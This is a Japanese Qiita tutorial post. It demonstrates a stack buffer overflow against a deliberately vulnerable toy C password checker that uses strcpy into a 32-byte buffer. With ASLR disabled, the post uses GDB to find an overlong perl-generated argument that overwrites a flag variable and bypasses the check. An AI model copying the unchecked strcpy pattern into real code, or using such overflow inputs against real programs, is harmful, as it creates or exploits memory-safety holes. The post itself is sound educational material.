6
4

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

C言語で超簡単に作った「なんちゃってパスワード認証」を超簡単に突破する①

Last updated at Posted at 2019-05-26

##概要
初投稿です。
C言語を使って1分30秒で書いた「なんちゃってパスワード認証」に対してバッファオーバーフロー攻撃を行い、パスワード認証を突破する方法を紹介します。ソースコード自体はHello World!の次くらいに簡単だと思うので、C言語初心者の方でも興味を持って読んでいただけると幸いです。
また、あくまでこの記事で紹介する内容は、ソースコードを見ながら正しいパスワードを入力せずに簡単にパスワード認証を突破することを目的としています。(今後の記事では、逆アセンブルやバイナリ解析・クラッキング・諸々のツールの使い方なども紹介する予定です。)

##環境
OS:Kali-linux(64bit)
コンパイラ:GCC

GDBを使用する都合上、GCCでコンパイルを行います。(GCCとGDBの関係についてはこちらのサイト様の解説がとても分かりやすいです)
また、今回の記事では、込み入った話に持ち込まずに簡単に突破出来るように、ASLRを無効化しています。

##コンパイルしてGDBを起動してみる

今回、突破を試みるパスワード認証のソースコードです。

check_password.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int check_password(char *password){

   int flag = 0;
   char checkpass[32];

   strcpy(checkpass,password);
   if(strcmp(checkpass,"PASSWORDisPASSWORD") == 0){
      flag = 1;
   }
		
   return flag;

}


int main(int argc,char *argv[]){

   if(argc != 2) {
      printf("usage: %s [passsword]\n", argv[0]);
      exit(-1);
   }

   if(check_password(argv[1])){
      printf("Success:)");
   }else{
      printf("Try again:(");
   }	
}

恐らくC言語初心者向けサイトを一読していれば分かる内容だと思うので、ソースコード自体の詳しい解説は割愛します。
流れとしては、コマンドラインからパスワードを入力し、入力した文字列がPASSWORDisPASSWORDと合致していたら、Success:)が返ってくるというものです。

chelly@kali:~/qiita$ gcc -g -o check_password check_password.c
chelly@kali:~/qiita$ ./check_password 
usage: ./check_password [passsword]
chelly@kali:~/qiita$ ./check_password aaaa
Try again:(
chelly@kali:~/qiita$ ./check_password PASSWORDisPASSWORD
Success:)

gccでのコンパイル時に-gオプションを付けているのは、このあとGDBでlistコマンドbreakコマンドを使用する為です。

では、実際にGDBでソースコードを表示していきます。

chelly@kali:~/qiita$ gdb -q check_password
Reading symbols from check_password...done.
(gdb) list
7			char checkpass[32];
8			strcpy(checkpass,password);
9	
10			if(strcmp(checkpass,"PASSWORDisPASSWORD")==0){
11			flag = 1;
12			}
13			
14			return flag;
15	}
16	
(gdb) 
17	
18	
19	int main(int argc,char *argv[]){
20	
21		if(argc != 2) {
22	            printf("usage: %s [passsword]\n", argv[0]);
23	            exit(-1);
24	         }
25	
26		if(check_password(argv[1])){
(gdb) 
27			printf("Success:)\n");
28		}else{
29			printf("Try again:(\n");
30		}	
31	}

GDBを実行する際の-qオプションは、あの長々したウェルカムバナーを省略するためなので気にしなくて良いです。前述した通り、今回はgccでのコンパイル時に-gオプションを付けたので、listコマンドが使えるようになっています。
##GDBでパスワード認証を突破してみる(作戦編)
ソースコードから以下のことが分かります。
①main関数のif文を見る限り、check_password関数のflagの値が0以外であれば、認証を突破できそう(重要)。
②strcpy関数を用いてコマンドラインからの文字列を受け取っているので、checkpassの値はある程度であれば長さ関係なく入力できそう。

以上のソースコードの設計上の脆弱性を利用して、今回は、バッファオーバーフロー攻撃を行いたいと思います。
バッファオーバーフローについては、こちらのサイト様の解説がとても分かりやすいです。

##GDBでパスワード認証を突破してみる(事前準備編)

chelly@kali:~/qiita$ gdb -q check_password
Reading symbols from check_password...done.
(gdb) break 8
Breakpoint 1 at 0x1188: file check_password.c, line 8.
(gdb) run aaaa
Starting program: /home/chelly/qiita/check_password aaaa

Breakpoint 1, check_password (password=0x7fffffffe468 "aaaa")
    at check_password.c:8
8			strcpy(checkpass,password);
(gdb) x/32xw $rsp
0x7fffffffdff0:	0x000000c2	0x00000000	0xffffe468	0x00007fff
0x7fffffffe000:	0x00000001	0x00000000	0xf7e87da5	0x00007fff
0x7fffffffe010:	0x00000000	0x00000000	0x55555275	0x00005555
0x7fffffffe020:	0xf7fe4550	0x00007fff	0x00000000	0x00000000
0x7fffffffe030:	0xffffe050	0x00007fff	0x5555520b	0x00005555
0x7fffffffe040:	0xffffe138	0x00007fff	0x00000000	0x00000002
0x7fffffffe050:	0x55555230	0x00005555	0xf7e0909b	0x00007fff
0x7fffffffe060:	0x00000000	0x00000000	0xffffe138	0x00007fff
(gdb) x/x checkpass
0x7fffffffe000:	0x00000001
(gdb) x/x &password
0x7fffffffdff8:	0xffffe468

breakコマンドは、runコマンドでプログラムを実行させたときに、一時停止を行うポイント(以降ブレイクポイント)を設定するコマンドです。今回はbreak 8とすることで、プログラム8行目に位置するstrcpy関数の動作の直前をブレイクポイントに設定しています。また、gdbにおけるrun aaaaと、シェルにおける./check_password aaaaは、同じ動作を指します。
xコマンドは、指定した変数やレジスタが現在メモリ上のどのアドレスに存在している(指している)のか、メモリの内容を調べる際に使われます。
今回使用したx/32xw $rspというコマンドは、スタックポインタ(rsp)が現在どのアドレスを指しているのか、4バイトずつにまとめて(x\w)、16進数で出力(x\xw)せよ。さらに、そのまとまりを、32個続けて出力(x\32xw)せよ。という意味です。
実際に、x/x checkpassや、x/x &passwordの出力結果と、x/32xw $rspの出力結果を照らしあわせて見ると、確かに、各々の該当アドレスに変数の値が入っています。

次に、nextコマンドを使って、プログラムの処理を一行分だけ進めます。つまり、strcpy関数が実行され、checkpassの値は、コマンドラインから入力したaaaaになるはずです。

(gdb) n
10			if(strcmp(checkpass,"PASSWORDisPASSWORD")==0){
(gdb) x/32xw $rsp
0x7fffffffdff0:	0x000000c2	0x00000000	0xffffe468	0x00007fff
0x7fffffffe000:	0x61616161	0x00000000	0xf7e87da5	0x00007fff
0x7fffffffe010:	0x00000000	0x00000000	0x55555275	0x00005555
0x7fffffffe020:	0xf7fe4550	0x00007fff	0x00000000	0x00000000
0x7fffffffe030:	0xffffe050	0x00007fff	0x5555520b	0x00005555
0x7fffffffe040:	0xffffe138	0x00007fff	0x00000000	0x00000002
0x7fffffffe050:	0x55555230	0x00005555	0xf7e0909b	0x00007fff
0x7fffffffe060:	0x00000000	0x00000000	0xffffe138	0x00007fff
(gdb) x/x checkpass
0x7fffffffe000:	0x61616161

nコマンドは、nextコマンドの省略形です。

気になるcheckpassの値は......0x61616161に変わってる!
0x61616161は、ASCIIコードaaaaを表します。(0x61がaを表します。)

ここまでが、各々の変数やレジスタのメモリ上の位置を確認する事前準備です。

##GDBでパスワード認証を突破してみる(実践編)

ここからは、先ほど企てた作戦と事前準備を基に、実際にバッファオーバーフロー攻撃を行います。

先ほどの作戦②で、checkpassのバイト数を自由に変えることが出来るのではないかという仮説を立てました。実際に試してみます。

chelly@kali:~/qiita$ ./check_password $(perl -e 'print "a"x20')
Try again:(
chelly@kali:~/qiita$ ./check_password $(perl -e 'print "a"x30')
Try again:(
chelly@kali:~/qiita$ ./check_password $(perl -e 'print "a"x40')
Try again:(
chelly@kali:~/qiita$ ./check_password $(perl -e 'print "a"x100')
Segmentation fault

上記のとおり、check_passwordに様々な値を入力......???Perl........???

bashコマンドにおけるPerlは超超超便利なので、上のシェルコマンドの意味がよくわからなければ、こちらのサイト様が大変参考になるのでこの機会にかじってみてください。
結果を見ると、確かにコマンドラインから何文字でも入力できそうです。しかし、aが100個並ぶような長い文字列を入力すると、Segmentation faultが発生することが確認できます。

次は、GDBにてaを20個並べたときのメモリの状況を確認します。

chelly@kali:~/qiita$ gdb -q check_password
Reading symbols from check_password...done.
(gdb) break 8
(gdb) run $(perl -e 'print "a"x20')
Starting program: /home/chelly/qiita/check_password $(perl -e 'print "a"x20')

Breakpoint 1, check_password (password=0x7fffffffe457 'a' <repeats 20 times>) at check_password.c:8
8			strcpy(checkpass,password);
(gdb) n
10			if(strcmp(checkpass,"PASSWORDisPASSWORD")==0){
(gdb) x/32xw $rsp
0x7fffffffdfe0:	0x000000c2	0x00000000	0xffffe457	0x00007fff
0x7fffffffdff0:	0x61616161	0x61616161	0x61616161	0x61616161
0x7fffffffe000:	0x61616161	0x00000000	0x55555275	0x00005555
0x7fffffffe010:	0xf7fe4550	0x00007fff	0x00000000	0x00000000
0x7fffffffe020:	0xffffe040	0x00007fff	0x5555520b	0x00005555
0x7fffffffe030:	0xffffe128	0x00007fff	0x00000000	0x00000002
0x7fffffffe040:	0x55555230	0x00005555	0xf7e0909b	0x00007fff
0x7fffffffe050:	0x00000000	0x00000000	0xffffe128	0x00007fff
(gdb) x/x checkpass
0x7fffffffdff0:	0x61616161

0x7fffffffdff0番地から0x7fffffffe007番地までに20個のa(0x61)が書き込まれていることが確認できます。

先ほど考えた作戦①では、flagの値が0以外であれば、if文を突破できると考えました。flagの値がどの番地に格納されているか確認します。

(gdb) x/x &flag
0x7fffffffe01c:	0x00000000

0x7fffffffe01c番地というと、checkpassの書き込み開始番地が0x7fffffffdff0番地であったので、0x7fffffffe01c - 0x7fffffffdff0を計算すると、その差は10進数で44であることが分かります。
ここで得た44という値はあくまでであるため、実際は差の44+1バイトでflagの値が格納されている番地に到達することになります。
つまり、コマンドラインの文字列を$(perl -e 'print "a"x45')にすることで、flagの値は、0x00000061になりそうです。もしこれが可能ならば、check_password関数は戻り値として61を返すので、main関数のif文を突破できる=パスワード認証を突破できるはずです。

chelly@kali:~/qiita$ ./check_password $(perl -e 'print "a"x45')
Success:)

突破できました。

##おわりに
今回は、スタック領域におけるバッファオーバーフロー攻撃の簡単な例を紹介しました。次回は、コンパイル時に-gオプションを付けたりソースコードを見たりなどをせずに、実行ファイルのバイナリを解析して、正面から(?)認証を突破する方法を紹介します。
初投稿なので、書き方や諸々について見づらい点や分かりにくい点があれば指摘していただきたいです。

6
4
3

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
6
4

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?